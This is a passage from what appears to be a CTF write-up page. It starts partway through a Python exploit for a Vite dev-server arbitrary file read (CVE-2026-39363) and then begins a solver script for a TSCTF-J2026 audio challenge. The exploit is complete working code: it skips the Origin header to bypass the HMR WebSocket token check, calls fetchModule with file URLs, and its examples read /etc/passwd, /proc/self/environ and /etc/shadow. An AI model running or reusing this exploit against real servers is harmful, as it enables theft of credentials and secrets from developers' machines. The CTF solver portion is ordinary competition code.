</span><span>1</span><span>)[</span><span>1</span><span><span>].</span><span>strip</span><span>() </span><span>!=</span><span> expect:</span></span></div></div><div><div><div>161</div></div><div><span>                </span><span>raise</span><span> </span><span>RuntimeError</span><span>(</span><span>"Sec-WebSocket-Accept mismatch"</span><span>)</span></div></div><div><div><div>162</div></div><div><span>            </span><span>break</span></div></div><div><div><div>163</div></div><div><span>    </span><span>return</span><span> raw</span></div></div><div><div><div>164</div></div><div>
</div></div><div><div><div>165</div></div><div>
</div></div><div><div><div>166</div></div><div><span>def</span><span> </span><span>fetch_module</span><span>(</span><span>sock</span><span>,</span><span><span> </span><span>file_url</span></span><span>,</span><span><span> </span><span>rid</span></span><span>,</span><span><span> </span><span>timeout</span></span><span>):</span></div></div><div><div><div>167</div></div><div><span>    </span><span>"""调用服务端 fetchModule(file_url)。"""</span></div></div><div><div><div>168</div></div><div><span><span>    </span></span><span>msg </span><span>=</span><span> {</span></div></div><div><div><div>169</div></div><div><span>        </span><span>"type"</span><span>: </span><span>"custom"</span><span>,</span></div></div><div><div><div>170</div></div><div><span>        </span><span>"event"</span><span>: </span><span>"vite:invoke"</span><span>,</span></div></div><div><div><div>171</div></div><div><span>        </span><span>"data"</span><span>: {</span><span>"name"</span><span>: </span><span>"fetchModule"</span><span>, </span><span>"id"</span><span>: rid, </span><span>"data"</span><span>: [file_url]},</span></div></div><div><div><div>172</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>173</div></div><div><span><span>    </span></span><span>send_frame</span><span>(sock, json.</span><span>dumps</span><span>(msg).</span><span>encode</span><span>())</span></div></div><div><div><div>174</div></div><div><span><span>    </span></span><span>expect_id </span><span>=</span><span> rid.</span><span>replace</span><span>(</span><span>"send"</span><span>, </span><span>"response"</span><span>)</span></div></div><div><div><div>175</div></div><div><span><span>    </span></span><span>deadline </span><span>=</span><span> time.</span><span>time</span><span>() </span><span>+</span><span> timeout</span></div></div><div><div><div>176</div></div><div><span>    </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>177</div></div><div><span><span>        </span></span><span>remaining </span><span>=</span><span> deadline </span><span>-</span><span> time.</span><span>time</span><span>()</span></div></div><div><div><div>178</div></div><div><span>        </span><span>if</span><span><span> remaining </span><span>&lt;=</span><span> </span></span><span>0</span><span>:</span></div></div><div><div><div>179</div></div><div><span>            </span><span>raise</span><span> </span><span>TimeoutError</span><span>(</span><span>"no response from vite:invoke"</span><span>)</span></div></div><div><div><div>180</div></div><div><span><span>        </span></span><span>sock.</span><span>settimeout</span><span>(remaining)</span></div></div><div><div><div>181</div></div><div><span><span>        </span></span><span>opcode, payload </span><span>=</span><span> </span><span>recv_frame</span><span>(sock)</span></div></div><div><div><div>182</div></div><div><span>        </span><span>if</span><span><span> opcode </span><span>==</span><span> </span></span><span>0x</span><span>8</span><span>:</span></div></div><div><div><div>183</div></div><div><span>            </span><span>raise</span><span> </span><span>ConnectionError</span><span>(</span><span>"server closed websocket"</span><span>)</span></div></div><div><div><div>184</div></div><div><span>        </span><span>if</span><span><span> opcode </span><span>==</span><span> </span></span><span>0x</span><span>9</span><span>:                      </span><span># ping -&gt; pong</span></div></div><div><div><div>185</div></div><div><span><span>            </span></span><span>send_frame</span><span>(sock, payload, </span><span>opcode</span><span>=</span><span>0x</span><span>A</span><span>)</span></div></div><div><div><div>186</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>187</div></div><div><span>        </span><span>if</span><span><span> opcode </span><span>!=</span><span> </span></span><span>0x</span><span>1</span><span>:                      </span><span># 只处理文本帧</span></div></div><div><div><div>188</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>189</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>190</div></div><div><span><span>            </span></span><span>obj </span><span>=</span><span> json.</span><span>loads</span><span>(payload.</span><span>decode</span><span>(</span><span>"utf-8"</span><span>, </span><span>"replace"</span><span>))</span></div></div><div><div><div>191</div></div><div><span>        </span><span>except</span><span> (</span><span>ValueError</span><span>, </span><span>UnicodeDecodeError</span><span>):</span></div></div><div><div><div>192</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>193</div></div><div><span>        </span><span>if</span><span><span> obj.</span><span>get</span><span>(</span></span><span>"type"</span><span><span>) </span><span>!=</span><span> </span></span><span>"custom"</span><span> </span><span>or</span><span><span> obj.</span><span>get</span><span>(</span></span><span>"event"</span><span><span>) </span><span>!=</span><span> </span></span><span>"vite:invoke"</span><span>:</span></div></div><div><div><div>194</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>195</div></div><div><span><span>        </span></span><span>d </span><span>=</span><span> obj.</span><span>get</span><span>(</span><span>"data"</span><span>) </span><span>or</span><span> {}</span></div></div><div><div><div>196</div></div><div><span>        </span><span>if</span><span><span> d.</span><span>get</span><span>(</span></span><span>"name"</span><span><span>) </span><span>!=</span><span> </span></span><span>"fetchModule"</span><span> </span><span>or</span><span><span> d.</span><span>get</span><span>(</span></span><span>"id"</span><span><span>) </span><span>!=</span><span> expect_id:</span></span></div></div><div><div><div>197</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>198</div></div><div><span><span>        </span></span><span>inner </span><span>=</span><span> d.</span><span>get</span><span>(</span><span>"data"</span><span>) </span><span>or</span><span> {}</span></div></div><div><div><div>199</div></div><div><span>        </span><span>if</span><span> </span><span>"error"</span><span> </span><span>in</span><span> inner:</span></div></div><div><div><div>200</div></div><div><span><span>            </span></span><span>err </span><span>=</span><span> inner[</span><span>"error"</span><span>] </span><span>or</span><span> {}</span></div></div><div><div><div>201</div></div><div><span>            </span><span>raise</span><span> </span><span>RuntimeError</span><span>(</span><span>f</span><span>"</span><span>{</span><span><span>err.</span><span>get</span><span>(</span></span><span>'name'</span><span>)</span><span>}</span><span>: </span><span>{</span><span><span>err.</span><span>get</span><span>(</span></span><span>'message'</span><span>)</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>202</div></div><div><span>        </span><span>return</span><span><span> inner.</span><span>get</span><span>(</span></span><span>"result"</span><span>) </span><span>or</span><span> {}</span></div></div><div><div><div>203</div></div><div>
</div></div><div><div><div>204</div></div><div>
</div></div><div><div><div>205</div></div><div><span>def</span><span> </span><span>unwrap</span><span>(</span><span>code</span><span>:</span><span> </span><span>str</span><span>):</span></div></div><div><div><div>206</div></div><div><span>    </span><span>"""`export default "..."` -&gt; 原始文件内容。"""</span></div></div><div><div><div>207</div></div><div><span><span>    </span></span><span>m </span><span>=</span><span> </span><span>RAW_RE</span><span>.</span><span>search</span><span>(code </span><span>or</span><span> </span><span>""</span><span>)</span></div></div><div><div><div>208</div></div><div><span>    </span><span>if</span><span> </span><span>not</span><span> m:</span></div></div><div><div><div>209</div></div><div><span>        </span><span>return</span><span> </span><span>None</span></div></div><div><div><div>210</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>211</div></div><div><span>        </span><span>return</span><span><span> json.</span><span>loads</span><span>(m.</span><span>group</span><span>(</span></span><span>1</span><span>))</span></div></div><div><div><div>212</div></div><div><span>    </span><span>except</span><span> </span><span>ValueError</span><span>:</span></div></div><div><div><div>213</div></div><div><span>        </span><span>return</span><span> </span><span>None</span></div></div><div><div><div>214</div></div><div>
</div></div><div><div><div>215</div></div><div>
</div></div><div><div><div>216</div></div><div><span>def</span><span> </span><span>drain_welcome</span><span>(</span><span>sock</span><span>,</span><span><span> </span><span>timeout</span></span><span>=</span><span>1.0</span><span>):</span></div></div><div><div><div>217</div></div><div><span>    </span><span>"""吃掉握手后的 connected / update 等欢迎帧。"""</span></div></div><div><div><div>218</div></div><div><span><span>    </span></span><span>sock.</span><span>settimeout</span><span>(timeout)</span></div></div><div><div><div>219</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>220</div></div><div><span>        </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>221</div></div><div><span><span>            </span></span><span>opcode, payload </span><span>=</span><span> </span><span>recv_frame</span><span>(sock)</span></div></div><div><div><div>222</div></div><div><span>            </span><span>if</span><span><span> opcode </span><span>==</span><span> </span></span><span>0x</span><span>9</span><span>:</span></div></div><div><div><div>223</div></div><div><span><span>                </span></span><span>send_frame</span><span>(sock, payload, </span><span>opcode</span><span>=</span><span>0x</span><span>A</span><span>)</span></div></div><div><div><div>224</div></div><div><span>                </span><span>continue</span></div></div><div><div><div>225</div></div><div><span>            </span><span>if</span><span><span> opcode </span><span>!=</span><span> </span></span><span>0x</span><span>1</span><span>:</span></div></div><div><div><div>226</div></div><div><span>                </span><span>continue</span></div></div><div><div><div>227</div></div><div><span>            </span><span>try</span><span>:</span></div></div><div><div><div>228</div></div><div><span>                </span><span>if</span><span><span> (json.</span><span>loads</span><span>(payload) </span></span><span>or</span><span><span> {}).</span><span>get</span><span>(</span></span><span>"type"</span><span><span>) </span><span>==</span><span> </span></span><span>"connected"</span><span>:</span></div></div><div><div><div>229</div></div><div><span>                    </span><span>return</span></div></div><div><div><div>230</div></div><div><span>            </span><span>except</span><span> </span><span>ValueError</span><span>:</span></div></div><div><div><div>231</div></div><div><span>                </span><span>continue</span></div></div><div><div><div>232</div></div><div><span>    </span><span>except</span><span> (socket.timeout, </span><span>ConnectionError</span><span>, </span><span>OSError</span><span>):</span></div></div><div><div><div>233</div></div><div><span>        </span><span>return</span></div></div><div><div><div>234</div></div><div>
</div></div><div><div><div>235</div></div><div>
</div></div><div><div><div>236</div></div><div><span># ------------------------------------------------------------------ main</span></div></div><div><div><div>237</div></div><div>
</div></div><div><div><div>238</div></div><div><span>def</span><span> </span><span>main</span><span>():</span></div></div><div><div><div>239</div></div><div><span><span>    </span></span><span>ap </span><span>=</span><span> argparse.</span><span>ArgumentParser</span><span>(</span></div></div><div><div><div>240</div></div><div><span>        </span><span>description</span><span>=</span><span>"CVE-2026-39363 Vite dev server arbitrary file read"</span><span>,</span></div></div><div><div><div>241</div></div><div><span>        </span><span>formatter_class</span><span><span>=</span><span>argparse.RawDescriptionHelpFormatter,</span></span></div></div><div><div><div>242</div></div><div><span>        </span><span>epilog</span><span>=</span><span>"examples:</span><span>\n</span><span>"</span></div></div><div><div><div>243</div></div><div><span>               </span><span>"  </span><span>%(prog)s</span><span> https://target:5173 /etc/passwd</span><span>\n</span><span>"</span></div></div><div><div><div>244</div></div><div><span>               </span><span>"  </span><span>%(prog)s</span><span> https://target:5173 /etc/passwd /proc/self/environ -o out/</span><span>\n</span><span>"</span></div></div><div><div><div>245</div></div><div><span>               </span><span>"  </span><span>%(prog)s</span><span> https://target:5173 --host-header localhost:5173 /etc/shadow</span><span>\n</span><span>"</span><span>)</span></div></div><div><div><div>246</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"url"</span><span>, </span><span>help</span><span>=</span><span>"target URL, e.g. https://host:5173"</span><span>)</span></div></div><div><div><div>247</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"files"</span><span>, </span><span>nargs</span><span>=</span><span>"+"</span><span>, </span><span>help</span><span>=</span><span>"absolute paths to read"</span><span>)</span></div></div><div><div><div>248</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--ws-path"</span><span>, </span><span>default</span><span>=</span><span>"/"</span><span>, </span><span>help</span><span>=</span><span>"HMR websocket path (default /)"</span><span>)</span></div></div><div><div><div>249</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--host-header"</span><span>, </span><span>default</span><span>=</span><span>None</span><span>, </span><span>help</span><span>=</span><span>"override Host header"</span><span>)</span></div></div><div><div><div>250</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--origin"</span><span>, </span><span>default</span><span>=</span><span>None</span><span>,</span></div></div><div><div><div>251</div></div><div><span>                    </span><span>help</span><span>=</span><span>"set an Origin header (leave unset to bypass, which is required)"</span><span>)</span></div></div><div><div><div>252</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--no-sni"</span><span>, </span><span>action</span><span>=</span><span>"store_true"</span><span>, </span><span>help</span><span>=</span><span>"do NOT send TLS SNI (breaks SNI-routed proxies)"</span><span>)</span></div></div><div><div><div>253</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--timeout"</span><span>, </span><span>type</span><span>=</span><span>float</span><span>, </span><span>default</span><span>=</span><span>15.0</span><span>)</span></div></div><div><div><div>254</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"-o"</span><span>, </span><span>"--output-dir"</span><span>, </span><span>default</span><span>=</span><span>None</span><span>)</span></div></div><div><div><div>255</div></div><div><span><span>    </span></span><span>args </span><span>=</span><span> ap.</span><span>parse_args</span><span>()</span></div></div><div><div><div>256</div></div><div>
</div></div><div><div><div>257</div></div><div><span><span>    </span></span><span>u </span><span>=</span><span> urllib.parse.</span><span>urlsplit</span><span>(args.url </span><span>if</span><span> </span><span>"://"</span><span> </span><span>in</span><span> args.url </span><span>else</span><span> </span><span>"http://"</span><span><span> </span><span>+</span><span> args.url)</span></span></div></div><div><div><div>258</div></div><div><span><span>    </span></span><span>scheme </span><span>=</span><span> (u.scheme </span><span>or</span><span> </span><span>"http"</span><span><span>).</span><span>lower</span><span>()</span></span></div></div><div><div><div>259</div></div><div><span>    </span><span>if</span><span> scheme </span><span>not</span><span> </span><span>in</span><span> (</span><span>"http"</span><span>, </span><span>"https"</span><span>):</span></div></div><div><div><div>260</div></div><div><span><span>        </span></span><span>sys.</span><span>exit</span><span>(</span><span>f</span><span>"[!] bad scheme: </span><span>{</span><span>args.url</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>261</div></div><div><span><span>    </span></span><span>host </span><span>=</span><span> u.hostname </span><span>or</span><span> </span><span>"127.0.0.1"</span></div></div><div><div><div>262</div></div><div><span><span>    </span></span><span>port </span><span>=</span><span> u.port </span><span>or</span><span> (</span><span>443</span><span> </span><span>if</span><span><span> scheme </span><span>==</span><span> </span></span><span>"https"</span><span> </span><span>else</span><span> </span><span>80</span><span>)</span></div></div><div><div><div>263</div></div><div><span><span>    </span></span><span>host_header </span><span>=</span><span> args.host_header </span><span>or</span><span><span> (host </span><span>+</span><span> (</span></span><span>f</span><span>":</span><span>{</span><span>port</span><span>}</span><span>"</span><span> </span><span>if</span><span> port </span><span>not</span><span> </span><span>in</span><span> (</span><span>80</span><span>, </span><span>443</span><span>) </span><span>else</span><span> </span><span>""</span><span>))</span></div></div><div><div><div>264</div></div><div><span><span>    </span></span><span>tls </span><span>=</span><span> scheme </span><span>==</span><span> </span><span>"https"</span></div></div><div><div><div>265</div></div><div>
</div></div><div><div><div>266</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[*] connecting wss://</span><span>{</span><span>host</span><span>}</span><span>:</span><span>{</span><span>port</span><span>}{</span><span>args.ws_path</span><span>}</span><span>  (Host: </span><span>{</span><span>host_header</span><span>}</span><span>, SNI: </span><span>{</span><span>not</span><span> args.no_sni</span><span>}</span><span>)"</span><span>)</span></div></div><div><div><div>267</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>268</div></div><div><span><span>        </span></span><span>sock </span><span>=</span><span> </span><span>ws_connect</span><span>(host, port, args.ws_path, tls, host_header,</span></div></div><div><div><div>269</div></div><div><span><span>                          </span></span><span>args.timeout, </span><span>origin</span><span><span>=</span><span>args.origin, </span></span><span>sni</span><span>=</span><span>not</span><span> args.no_sni)</span></div></div><div><div><div>270</div></div><div><span>    </span><span>except</span><span> </span><span>Exception</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>271</div></div><div><span><span>        </span></span><span>sys.</span><span>exit</span><span>(</span><span>f</span><span>"[!] connect failed: </span><span>{</span><span>e</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>272</div></div><div><span><span>    </span></span><span>drain_welcome</span><span>(sock)</span></div></div><div><div><div>273</div></div><div><span><span>    </span></span><span>sock.</span><span>settimeout</span><span>(args.timeout)</span></div></div><div><div><div>274</div></div><div><span>    </span><span>print</span><span>(</span><span>"[+] HMR WebSocket upgraded (no Origin header -&gt; token check bypassed)"</span><span>)</span></div></div><div><div><div>275</div></div><div>
</div></div><div><div><div>276</div></div><div><span>    </span><span>if</span><span> args.output_dir:</span></div></div><div><div><div>277</div></div><div><span><span>        </span></span><span>os.</span><span>makedirs</span><span>(args.output_dir, </span><span>exist_ok</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>278</div></div><div>
</div></div><div><div><div>279</div></div><div><span><span>    </span></span><span>ok </span><span>=</span><span> </span><span>0</span></div></div><div><div><div>280</div></div><div><span>    </span><span>for</span><span> i, f </span><span>in</span><span> </span><span>enumerate</span><span>(args.files, </span><span>1</span><span>):</span></div></div><div><div><div>281</div></div><div><span><span>        </span></span><span>url </span><span>=</span><span> </span><span>to_file_url</span><span>(f) </span><span>+</span><span> </span><span>"?raw"</span></div></div><div><div><div>282</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>"[*] [</span><span>{</span><span>i</span><span>}</span><span>/</span><span>{</span><span>len</span><span>(args.files)</span><span>}</span><span>] </span><span>{</span><span>f</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>283</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>284</div></div><div><span><span>            </span></span><span>res </span><span>=</span><span> </span><span>fetch_module</span><span>(sock, url, </span><span>f</span><span>"</span><span>{</span><span>i</span><span>}</span><span>send"</span><span>, args.timeout)</span></div></div><div><div><div>285</div></div><div><span>        </span><span>except</span><span> </span><span>Exception</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>286</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"[!] read failed: </span><span>{</span><span>e</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>287</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>288</div></div><div><span><span>        </span></span><span>content </span><span>=</span><span> </span><span>unwrap</span><span>(res.</span><span>get</span><span>(</span><span>"code"</span><span>) </span><span>or</span><span> </span><span>""</span><span>)</span></div></div><div><div><div>289</div></div><div><span>        </span><span>if</span><span> content </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>290</div></div><div><span>            </span><span>print</span><span>(</span><span>"[!] could not unwrap; raw code follows:"</span><span>)</span></div></div><div><div><div>291</div></div><div><span>            </span><span>print</span><span><span>((res.</span><span>get</span><span>(</span></span><span>"code"</span><span>) </span><span>or</span><span> </span><span>""</span><span>)[:</span><span>2000</span><span>])</span></div></div><div><div><div>292</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>293</div></div><div><span><span>        </span></span><span>ok </span><span>+=</span><span> </span><span>1</span></div></div><div><div><div>294</div></div><div><span>        </span><span>if</span><span> args.output_dir:</span></div></div><div><div><div>295</div></div><div><span><span>            </span></span><span>out </span><span>=</span><span> os.path.</span><span>join</span><span>(args.output_dir, re.</span><span>sub</span><span>(</span><span>r</span><span>"</span><span>[</span><span>/</span><span>\\</span><span>]+</span><span>"</span><span>, </span><span>"_"</span><span><span>, f.</span><span>strip</span><span>(</span></span><span>"/</span><span>\\</span><span>"</span><span>)) </span><span>or</span><span> </span><span>"file"</span><span>)</span></div></div><div><div><div>296</div></div><div><span>            </span><span>with</span><span> </span><span>open</span><span>(out, </span><span>"w"</span><span>, </span><span>encoding</span><span>=</span><span>"utf-8"</span><span>, </span><span>newline</span><span>=</span><span>""</span><span>) </span><span>as</span><span> fh:</span></div></div><div><div><div>297</div></div><div><span><span>                </span></span><span>fh.</span><span>write</span><span>(content)</span></div></div><div><div><div>298</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"[+] saved </span><span>{</span><span>len</span><span><span>(content.</span><span>encode</span><span>(</span></span><span>'utf-8'</span><span>))</span><span>}</span><span> bytes -&gt; </span><span>{</span><span>out</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>299</div></div><div><span>        </span><span>else</span><span>:</span></div></div><div><div><div>300</div></div><div><span>            </span><span>print</span><span>(</span><span>f</span><span>"[+] </span><span>{</span><span>len</span><span><span>(content.</span><span>encode</span><span>(</span></span><span>'utf-8'</span><span>))</span><span>}</span><span> bytes:"</span><span>)</span></div></div><div><div><div>301</div></div><div><span>            </span><span>print</span><span>(content)</span></div></div><div><div><div>302</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[*] done: </span><span>{</span><span>ok</span><span>}</span><span>/</span><span>{</span><span>len</span><span>(args.files)</span><span>}</span><span> read"</span><span>)</span></div></div><div><div><div>303</div></div><div>
</div></div><div><div><div>304</div></div><div>
</div></div><div><div><div>305</div></div><div><span>if</span><span> </span><span>__name__</span><span><span> </span><span>==</span><span> </span></span><span>"__main__"</span><span>:</span></div></div><div><div><div>306</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>307</div></div><div><span><span>        </span></span><span>main</span><span>()</span></div></div><div><div><div>308</div></div><div><span>    </span><span>except</span><span> </span><span>KeyboardInterrupt</span><span>:</span></div></div><div><div><div>309</div></div><div><span><span>        </span></span><span>sys.</span><span>exit</span><span>(</span><span>130</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>findit 逐带 z-score 归一匹配脚本<a href="#findit-逐带-z-score-归一匹配脚本"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/usr/bin/env python</span></div></div><div><div><div>2</div></div><div><span># -*- coding: utf-8 -*-</span></div></div><div><div><div>3</div></div><div><span>"""</span></div></div><div><div><div>4</div></div><div><span>Answer client for the TSCTF-J2026 "find it" audio challenge.</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>Protocol (from the challenge server, verified against its source):</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>-&gt; "Welcome to TSCTF-J2026! Let's find it."</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>-&gt; "[Round i/10]"</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>-&gt; &lt;base64 mp3 of a 5 s clip&gt;          (one newline-terminated line)</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>-&gt; "&gt; "                                (no newline)</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>-&gt; we send "&lt;id&gt;_&lt;start&gt;</span><span>\n</span><span>"</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>-&gt; "Correct!" / "Wrong..."</span></div></div><div><div><div>13</div></div><div><span>    </span><span>... </span><span>and after round 10 the flag if &gt;= 9 correct.</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>Hard constraint: the server allows 3.0 s of think time TOTAL across all 10 rounds</span></div></div><div><div><div>16</div></div><div><span>(`budget = 3.0`, measured from writing the prompt to receiving our reply). A single</span></div></div><div><div><div>17</div></div><div><span>sequential connection cannot finish: the server itself spends &gt;1 s per round inside</span></div></div><div><div><div>18</div></div><div><span>ffmpeg. So we open one connection per trial - each gets its own fresh 3.0 s budget -</span></div></div><div><div><div>19</div></div><div><span>and only need 9 of them to be perfect.</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span>Answer inference: `&lt;start&gt;` is an integer second and the clip is cut at exactly that</span></div></div><div><div><div>22</div></div><div><span>second, so the matched window start (rounded) is the answer.</span></div></div><div><div><div>23</div></div><div>
</div></div><div><div><div>24</div></div><div><span>Usage:</span></div></div><div><div><div>25</div></div><div><span><span>  </span></span><span>python solve_findit.py --host 127.0.0.1 --port 9999 --workers 12</span></div></div><div><div><div>26</div></div><div><span><span>  </span></span><span>python solve_findit.py --host &lt;target&gt; --port 9999 --workers 16 --verbose</span></div></div><div><div><div>27</div></div><div><span>"""</span></div></div><div><div><div>28</div></div><div><span>from</span><span> </span><span>__future__</span><span> </span><span>import</span><span> annotations</span></div></div><div><div><div>29</div></div><div>
</div></div><div><div><div>30</div></div><div><span>import</span><span> argparse</span></div></div><div><div><div>31</div></div><div><span>import</span><span> base64</span></div></div><div><div><div>32</div></div><div><span>import</span><span> json</span></div></div><div><div><div>33</div></div><div><span>import</span><span> re</span></div></div><div><div><div>34</div></div><div><span>import</span><span> socket</span></div></div><div><div><div>35</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>36</div></div><div><span>import</span><span> time</span></div></div><div><div><div>37</div></div><div><span>from</span><span> pathlib </span><span>import</span><span> Path</span></div></div><div><div><div>38</div></div><div>
</div></div><div><div><div>39</div></div><div><span><span>WORKSPACE</span><span> </span><span>=</span><span> </span><span>Path</span><span>(</span></span><span>__file__</span><span><span>).</span><span>resolve</span><span>().parent</span></span></div></div><div><div><div>40</div></div><div><span># flag formats: flag{...}, TSCTF{...}, TSCTF-J{...} (the hyphen and the "J" suffix</span></div></div><div><div><div>41</div></div><div><span># broke the first two attempts at this pattern), plus a generic *CTF{...}.</span></div></div><div><div><div>42</div></div><div><span><span>FLAG_RE</span><span> </span><span>=</span><span> re.</span><span>compile</span><span>(</span></span></div></div><div><div><div>43</div></div><div><span>    </span><span>rb</span><span><span>"</span><span>(</span></span><span>[</span><span>A-Za-z0-9_</span><span>]{2,16}</span><span><span>(?:</span><span>-</span></span><span>[</span><span>A-Za-z0-9_</span><span>]{1,8}</span><span>)</span><span>?[</span><span>Cc</span><span>][</span><span>Tt</span><span>][</span><span>Ff</span><span>]</span><span>-</span><span>?[</span><span>A-Za-z0-9_</span><span>]{0,8}</span><span>\{</span><span><span>[</span><span>^</span></span><span>}</span><span>]*</span><span><span>\}</span><span>"</span></span></div></div><div><div><div>44</div></div><div><span>    </span><span>rb</span><span>"</span><span>|</span><span><span>flag</span><span>\{</span></span><span><span>[</span><span>^</span></span><span>}</span><span>]*</span><span><span>\}</span><span>)"</span></span></div></div><div><div><div>45</div></div><div><span>)</span></div></div><div><div><div>46</div></div><div>
</div></div><div><div><div>47</div></div><div>
</div></div><div><div><div>48</div></div><div><span>class</span><span><span> </span><span>Lines</span></span><span>:</span></div></div><div><div><div>49</div></div><div><span>    </span><span>"""Buffered line reader.</span></div></div><div><div><div>50</div></div><div>
</div></div><div><div><div>51</div></div><div><span><span>    </span></span><span>The server may deliver the welcome banner, the "[Round i/10]" header, the</span></div></div><div><div><div>52</div></div><div><span><span>    </span></span><span>base64 payload and the "&gt; " prompt in ONE TCP segment, so we must consume</span></div></div><div><div><div>53</div></div><div><span><span>    </span></span><span>complete lines strictly in order instead of scanning ahead for the prompt.</span></div></div><div><div><div>54</div></div><div><span><span>    </span></span><span>"""</span></div></div><div><div><div>55</div></div><div>
</div></div><div><div><div>56</div></div><div><span>    </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>sock</span></span><span>:</span><span> socket.socket</span><span>,</span><span><span> </span><span>timeout</span></span><span>:</span><span> </span><span>float</span><span> </span><span>=</span><span><span> </span><span>30.0</span></span><span>):</span></div></div><div><div><div>57</div></div><div><span>        </span><span>self</span><span><span>.sock </span><span>=</span><span> sock</span></span></div></div><div><div><div>58</div></div><div><span>        </span><span>self</span><span><span>.buf </span><span>=</span><span> </span></span><span>b</span><span>""</span></div></div><div><div><div>59</div></div><div><span>        </span><span>self</span><span><span>.sock.</span><span>settimeout</span><span>(timeout)</span></span></div></div><div><div><div>60</div></div><div>
</div></div><div><div><div>61</div></div><div><span>    </span><span>def</span><span> </span><span>line</span><span>(</span><span>self</span><span>) -&gt; </span><span>bytes</span><span><span> </span><span>|</span><span> </span></span><span>None</span><span>:</span></div></div><div><div><div>62</div></div><div><span>        </span><span>"""Next complete line (without the newline), or None on EOF."""</span></div></div><div><div><div>63</div></div><div><span>        </span><span>while</span><span> </span><span>b</span><span>"</span><span>\n</span><span>"</span><span> </span><span>not</span><span> </span><span>in</span><span> </span><span>self</span><span>.buf:</span></div></div><div><div><div>64</div></div><div><span><span>            </span></span><span>chunk </span><span>=</span><span> </span><span>self</span><span><span>.sock.</span><span>recv</span><span>(</span></span><span>65536</span><span>)</span></div></div><div><div><div>65</div></div><div><span>            </span><span>if</span><span> </span><span>not</span><span> chunk:</span></div></div><div><div><div>66</div></div><div><span>                </span><span>return</span><span> </span><span>None</span></div></div><div><div><div>67</div></div><div><span>            </span><span>self</span><span><span>.buf </span><span>+=</span><span> chunk</span></span></div></div><div><div><div>68</div></div><div><span><span>        </span></span><span>line, </span><span>self</span><span><span>.buf </span><span>=</span><span> </span></span><span>self</span><span><span>.buf.</span><span>split</span><span>(</span></span><span>b</span><span>"</span><span>\n</span><span>"</span><span>, </span><span>1</span><span>)</span></div></div><div><div><div>69</div></div><div><span>        </span><span>return</span><span> line</span></div></div><div><div><div>70</div></div><div>
</div></div><div><div><div>71</div></div><div><span>    </span><span>def</span><span> </span><span>drop_prompt</span><span>(</span><span>self</span><span>) -&gt; </span><span>None</span><span>:</span></div></div><div><div><div>72</div></div><div><span>        </span><span>"""Consume a '&gt; ' prompt that is still buffered (non-blocking)."""</span></div></div><div><div><div>73</div></div><div><span>        </span><span>if</span><span> </span><span>b</span><span>"&gt; "</span><span> </span><span>in</span><span> </span><span>self</span><span>.buf:</span></div></div><div><div><div>74</div></div><div><span>            </span><span>self</span><span><span>.buf </span><span>=</span><span> </span></span><span>self</span><span><span>.buf.</span><span>replace</span><span>(</span></span><span>b</span><span>"&gt; "</span><span>, </span><span>b</span><span>""</span><span>, </span><span>1</span><span>)</span></div></div><div><div><div>75</div></div><div>
